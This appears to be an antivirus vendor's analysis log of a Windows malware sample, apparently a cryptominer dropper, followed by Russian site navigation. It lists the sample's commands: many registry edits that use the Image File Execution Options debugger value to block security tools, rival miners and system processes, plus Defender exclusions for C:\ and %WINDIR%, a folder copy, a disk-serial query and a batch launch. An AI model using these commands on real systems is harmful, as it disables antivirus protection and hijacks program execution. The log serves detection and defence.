'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 1
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionPath %WINDIR%"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\xcopy.exe' %WINDIR%\addins %WINDIR%\IME\en-US\old /C /E /I /Q /H /R /K /O /X /Y
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\wbem\wmic.exe' diskdrive get Name, Manufacturer, Model, DeviceID, Partitions, Status, InterfaceType, SerialNumber
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\dedka.bat" "
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней